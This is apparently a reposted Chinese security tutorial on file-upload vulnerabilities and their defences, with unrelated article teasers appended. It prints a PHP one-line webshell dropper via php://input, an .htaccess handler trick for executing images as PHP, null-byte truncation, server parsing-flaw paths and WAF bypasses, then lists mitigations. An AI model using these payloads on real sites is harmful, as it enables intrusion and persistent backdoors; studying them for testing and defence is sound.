文件上传漏洞及其绕过、对策、过狗

1.  文件包含上传:

php://input属于php内置的封装协议,其实都主要是include()函数处理不当
如果有文件是以下写法,xxx随便:
<?phpinclude($_GET['xxx']);?>

以上保存到test.php,

我们访问http://127.0.0.1/test.php?xxx=php://input
然后我们通过POST提交php代码。在hackbar的POST区可利用此写入一句话木马:
<?php fwrite(fopen("payload.php","w"),'<?php eval($_POST["cc"]);?>');?>

效果就是test.php相同目录下生成payload.php,内容就是一句话木马。

 2.。htaccess

<FilesMatch "2232">SetHandler application/x-httpd-php
</FilesMatch>

。htaccess是一个分布式配置文件,阿帕奇的。与jpg分别上传至同意目录,可以让jpg解析为php

 ,用于对付黑名单,且可以用来权限维持

 

3.MIME:burp修改就可以解决

4.js:禁用浏览器js、修改删除本地js

5.后缀名%00截断

 将文件名改为muma.php%00.jpg,在burp里将%00右键转码为urldecode

或者命名为muma.php.jpg,在burp里将.php后面加一个空格,转到hex里,因为空格的编码是%20,hex找到20将棋改名为00.

事实上%00 0x00这些原理都是一样的。中间件在探测到00(null)就认为后面没有了,俗称截断。这是后端接收到的认为就是muma.php

防御:在缓冲区再做一次校验


本次学习用的测试代码demo:
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{if ($_FILES["file"]["error"] > 0){echo "错误:: " . $_FILES["file"]["error"] . "<br>";}else{echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";echo "文件类型: " . $_FILES["file"]["type"] . "<br>";echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";// 判断当期目录下的 upload 目录是否存在该文件// 如果没有 upload 目录,你需要创建它,注意upload目录权限 if (file_exists("upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在。 ";}else{// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];}}
}
else
{echo "非法的文件格式";
}
?>

 


6.中间件解析漏洞

一。 iis6.0 (没有补丁,一定存在此漏洞,除非站长自己修复

文件正常地址

www.xxx.com/logo.jpg

触发漏洞地址:

将文件命名为logo.asp;.xxx.jpg或logo.asp;.jpg

并浏览器访问www.xxx.com/logo.asp;.xxx.jpg,或logo.asp;.jpg会把文件logo.asp;.xxx.jpg解析为asp。(脚本格式随意)

文件夹正常地址:

www.xxx.com/image/logo.jpg

触发漏洞地址

将logo.jpg放在image.asp文件夹下,并访问

www.xxx.com/image.asp/logo.jpg(脚本格式随意)

会把logo.jpg解析成为asp

 

 

 

 

二。 iis7.x nginx  探索哪些nginx低版本会存在漏洞(有补丁,可能会有网站打补丁修复)

该解析漏洞利用需两个条件:

1.        php.ini里cgi.fix_pathinfo=1(默认为1)

2.        在”Handler Mapping”中取消勾选以下内容:

 

解决方案:

1.      配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序

2.      在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”

 

3.      重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。

 

 

 

 

三。nginx解析漏洞:

利用:

正常地址:

www.xxx.com/logo.jpg

如果存在漏洞:

文件命名logo.jpg,命名不变,但是如果我们访问:

www.xxx.com/logo.jpg/*.php ,会将文件解析为php,此漏洞只能将文件解析成php

 localhost/img/1.jpg 是正常地访问一张图片,而 localhost/img/1.jpg/1.php 却会把这张图片作为PHP文件来执行

条件:

新版本的php引入了“security.limit_extensions”,限制了可执行文件的后缀,默认只允许执行.php文件。来做进一步测试。找到php5-fpm配置文件php-fpm.conf,若不知道在哪,可用如下命令搜索:

  sudo find / -name php-fpm.conf

我的测试环境中,该文件位于/etc/php5/fpm/php-fpm.conf。修改该文件中的“security.limit_extensions”,添加上.jpg,添加后如下所示:

  security.limit_extensions = .php .jpg

这样,php便认为.jpg也是合法的php文件后缀了,再在浏览器中访问 http://127.0.0.1/test.jpg/test.php ,看到php被成功执行

 

 




四。Apache(有补丁,可能会被打补丁修复,探索哪些版本会有漏洞,原理:向上解析,不识别,继续向上)

正常地址:www.xxx.com/logo.jpg

如果存在漏洞:www.xxx.com/logo.jpg.php.xxx

将文件命名为logo.jpg.php.xxx。 如果xxx  apache不识别此格式,则向上解析php,假如还不识别继续向上解析。

先来看测试过程和结果的对比吧。

结果一

首先,我安装了apache 2.x版本,同时以module方式使apache与php结合,测试发现确实存在这样的解析漏洞。

 

结果二

然后,我将apache与php的结合方式修改为fastcgi方式,测试发现爆500错误,不存在这样的解析漏洞。

 

错误提示:

1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x

意思就是不知道该如何解析这个文件。

结果出来了,那么对于影响范围这块,在目前所有的apache版本中均存在此问题,但只适用于以module方式解析php的apache,使用fastcgi方式解析php的apache不受影响,使用cgi方式解析php的apache是否影响未测试。

下面来简单分享一下测试过程中我发现的一点经验。

先看一下apache的主配置文件httpd.conf,搜索“DefaultType”,就可以看到这么一段注释和默认配置:

#

# DefaultType: the default MIME type the server will use for a document

# if it cannot otherwise determine one, such as from filename extensions.

# If your server contains mostly text or HTML documents, "text/plain" is

# a good value. If most of your content is binary, such as applications

# or images, you may want to use "application/octet-stream" instead to

# keep browsers from trying to display binary files as though they are

# text.

#10DefaultType text/plain

DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件,比如f4ck.xxx这样的文件,扩展名是xxx,这肯定不是一个正常的网页或脚本文件,这个参数就是告诉apache该怎么处理这种未知扩展名的文件。

参数DefaultType的默认值是“text/plain”,也就是遇到未知扩展名的文件,就把它当作普通的txt文本或html文件来处理。

 

 7.

Filepath修改上传

针对本地, 服务端名称不一致的情况,虽然可以通过文件夹命名形式利用解析漏洞,但是一般情况很难在服务端创建所需要的文件夹,当然不是不能够创建,我们也可以利用编辑器漏洞来达到目的,现在要说的是不通过文件夹解析漏洞。 
在这里我们上传文件时通过burpsuite抓包,然后修改数据包里的内容,举例

 

 

 

原本filepath后内容是upfile,我们抓包获得之后可以在后面加上.asp,这样就使得upfile文件夹变成upfile.asp, 就可以触发上述文件夹命名格式的解析漏洞。 也可以在upfile/后面加上xx.asp; 这样上传的文件就变成了xx.asp;201510233(服务端自动命名).jpg, 可以触发解析漏洞达到访问目的。

 



过狗:

上传数据包:

 

Content-Disposition: form-data; name="upfile"; filename=x.php;

Content-Type: image/jpeg

 

Content-Disposition:

Name:上传数据包参数名

Filename:文件名

Content-Type:文件类型信息

 方法:

1.修改filename值,去掉双引号加上分号。原理:分号代表语句没有结束,结束语句后不带分号,所以上传的shell.php没有识别为文件名,而被识别为函数,所以就接着从后面开始找

2.删除Content-Disposition的值(form-data)     原理:表示我没有数据要提交,乱写:接受的不是表单值而是其他



一、对上传的文件,返回数据包时隐藏上传文件的路径。上传后的文件自动随机重命名
二、服务器端的安全过滤,对上传文件的类型、以及后缀名进行严格的把控。
三、上传类型进行安全限制,JS前端以及后端一起做双层的安全限制,对文件的扩展名安全检

测,(白名单)MIME文件类型安全检测,上传的文件大小限制。后台做渲染尝试、缓冲区再做验证
四、对上传的目录进行文件夹安全限制,去掉目录的脚本执行权限,

转载于:https://www.cnblogs.com/drkang/p/8466990.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/367882.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一维二维_更高效的一维、二维材料过渡态搜索

前言本文中&#xff0c;我们首先介绍如何使用NEB方法搜索过渡态&#xff0c;以及在NEB的结果的基础上&#xff0c;进一步提高精度优化出高精度、可验证的过渡态。本文以MoS2的一维条带(其中一个Mo原子被Co替代掺杂)为例进行演示。一般来说&#xff0c;这种反应&#xff0c;周期…

Mybatis之逆向工程

前面几篇基本把mybatis简单使用学习了下,今天学习下mybatis逆向工程&#xff0c;我们在开发中经常需要先设计数据库表结构或者先设计model,那就是能不能有工具可以只需在一边设计之后另一边自动生成呢&#xff1f;于是逆向工程来了。这里的逆向功能是通过数据库的表生成java po…

2023航天推进理论基础考试划重点(W老师)-液体火箭发动机1

适用于期末周求生欲满满的西北工业大学学生。 1、液体火箭发动机的基本组成及功能是什么&#xff1f; 推力室组件、推进剂供应系统、阀门与调节器、发动机总装元件等组成。 2、液体火箭发动机的分类和应用是什么&#xff1f;3、液体火箭发动机系统、分系统的概念是什么&…

Java EE 7是最终版本。 思想,见解和进一步的指针。

我们花了不到三年的时间才推出了下一个Java EE版本 。 今年4月16日&#xff0c; JCP EC对JSR 342进行了投票并获得批准。 这是一个成功的故事&#xff0c;因为在去年八月下旬的最后时刻撤消了拥有云就绪平台的最初想法。 作为EG的成员&#xff0c;撰写即将发布的功能或多或少容…

dbgrideh指定某单元格变色_一招搞定按指定名称批量新建文件夹

文 / 雷哥小鱼儿 编辑 / 小瓜子假如你有一个100行的Excel名单文件。业务需要&#xff0c;需要按姓名单独做成一个个文件夹。普通小白做法&#xff1a;用复制粘贴大法一个个去修改文件夹名字........雷哥Tips&#xff1a;EXCEL中为了实现某目标&#xff0c;出现了N次重复的操作…

如何编写自己的Java / Scala调试器

通过这篇文章&#xff0c;我们将探讨Java / Scala调试器的编写和工作方式。 诸如Windows的WinDbg或Linux / Unix的gdb之类的本机调试器通过操作系统直接提供给它们的钩子来获取其强大功能&#xff0c;以监视和操纵外部进程的状态。 JVM充当OS之上的抽象层&#xff0c;它提供了自…

软件测试bug文档模板,软件bug测试记录模板

软件bug测试记录模板 XXX软件bug测试记录表 文档编号&#xff1a; 背景信息 项目名称 测试目的 硬件环境 软件环境 测试时间 测试人员 测试说明 1、严重等级&#xff1a; A-Crash(崩溃的)&#xff1a;由于程序所引起的死机、非法退出、死循环&#xff1b;数据库发生死锁&#x…

Java即时编译:不仅仅是一个流行词

最近的Java生产性能问题迫使我重新审视并真正欣赏Java VM即时&#xff08;JIT&#xff09;编译器。 大多数Java开发人员和支持人员都听说过这种JVM运行时性能优化&#xff0c;但是有多少人真正理解并欣赏它的好处&#xff1f; 本文将与您分享在添加新的虚拟服务器&#xff08…

win10设置计算机关机时间,教你windows10电脑怎么设置定时关机

今天小编教你windows10电脑怎么设置定时关机&#xff0c;相信大家都有过这样的经历吧!那就是有时开着电脑玩累了,躺在床上睡了一会&#xff0c;结果醒来的时候发现睡了比较久&#xff0c;且还不愿意下床关电脑怎么办&#xff0c;其实我们可设置定时关机&#xff0c;有需要的用户…

Android内存优化9 内存检测工具3 MAT比Menmery Monitor更强大

在Android性能优化第&#xff08;一&#xff09;篇---基本概念中讲了JAVA的四大引用&#xff0c;讲了一下GCRoot&#xff0c;第二篇Memory Monitor检测内存泄露仅仅说了Menmery Monitor的使用&#xff0c;这篇博客谈一下MAT来寻找内存泄露&#xff0c;相对来说&#xff0c;Memo…

计算机三种引用方式,单元格的引用方式有哪几种

EXCEL单元格的引用包括绝对引用、相对引用和混合引用三种。单元格引用是Excel中的术语&#xff0c;指用单元格在表中的坐标位置的标识。是计算机基础的重要学习内容。1、绝对引用&#xff1a;单元格中的绝对单元格引用(例如$F$6)总是在指定位置引用单元格F6。如果公式所在单元格…

linux上php指向mysql_linux环境下 php如何配置mysql

展开全部Linux下配置安装PHP环境参考别人的做法,遇到问题上网查,下面就是安装步骤.一、安装Apache2.2.221、到官网下636f707962616964757a686964616f31333339666133载 http://httpd.apache.org/download.cgi2、解压tar -zxvf httpd-2.2.22.tar.gz3、建立目标文件夹(注意以下所有…

Java 7 Swing:创建半透明和成形的Windows

Java 7 Swing支持具有透明和非矩形形状的窗口。 以下屏幕截图显示了创建的不透明度为75&#xff05;的圆形窗口。 您可以通过在JFrame上使用setOpacity方法更改其不透明度来创建半透明窗口。 请注意&#xff0c;只有底层操作系统支持时&#xff0c;您才能创建半透明窗口。 另外…

mac mysql创建本地数据库_【mac】配置本地数据库

1.【安装数据库】brew 安装mysql -- brew install mysql安装成功后在命令行敲入 which mysql 查看安装路径2.【配置数据库】如果直接打mysql会报错&#xff0c;需要将mysql添加到环境变量&#xff0c;具体方法参阅后台学习-环境变量检查mysql是否启动 ps -ef | grep mysqld开启…

糖豆人维修服务器多长时间,服务器不稳定的《糖豆人》凭啥还这么火?只因做到了这三点...

8月4日&#xff0c;《糖豆人&#xff1a;终极淘汰赛》在steam平台上线&#xff0c;不到一周的时间直接登上steam畅销榜第六位。这款看起来似乎并不具备3A制作级别的游戏&#xff0c;到底是怎么获得了这么多玩家的追捧和青睐的呢&#xff1f;不妨跟着汇智妹一起看看这款游戏到底…

虚拟机游戏获取服务器地址,vue获取服务器地址

vue获取服务器地址 内容精选换一换Atlas 500 Pro 智能边缘服务器(型号 3000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 500 Pro 智能边缘服务器 用户指南(型号 3000)》&#xff0c;安装操作系统完成后&#xff0c;配置业务网口IP地址&#xff0c;请参见配…

使用Selenium和HTML中的动态ID进行Java测试

Selenium最酷的方面之一是&#xff0c;您不仅可以使用网站进行录制&#xff0c;还可以将其实际用作junit测试。 首先&#xff0c;我将在Firefox中安装Selenium&#xff08;因为这是正式版本&#xff09;并进行快速测试。 重要的是要注意&#xff0c;Selenium将为您提供多种不同…

查看表空间名称、大小、使用大小、剩余大小和使用率

查看表空间名称、大小、使用大小、剩余大小和使用率&#xff1a; SELECT a.tablespace_name "表空间名称", total / (1024 * 1024) "表空间大小(M)", free / (1024 * 1024) "表空间剩余大小(M)", (total - free) / (1024 * 1024 ) "表空…

编译安装PHP-7.2.8

一 下载并软件包 wget http://124.205.69.169/files/A218000006E9730A/cn2.php.net/distributions/php-7.2.8.tar.gz tar xf php-7.2.8.tar.gz cd php-7.2.8 二 安装依赖程序 yum -y install pcre pcre-devel openssl openssl-devel libicu-devel gcc gcc-c autoconf libjpeg l…

常用操作符

2 1. 转换类型数据&#xff0c;可以先定义一个数据&#xff0c;然后在采用调用的方法进行转换。 2. 进行查看相关数据&#xff0c;使用type类型数据进行查看&#xff0c;例如&#xff1a;type(**),然后就可以查到所属的类型了。但是对于单个字符来说&#xff0c;例如红线方…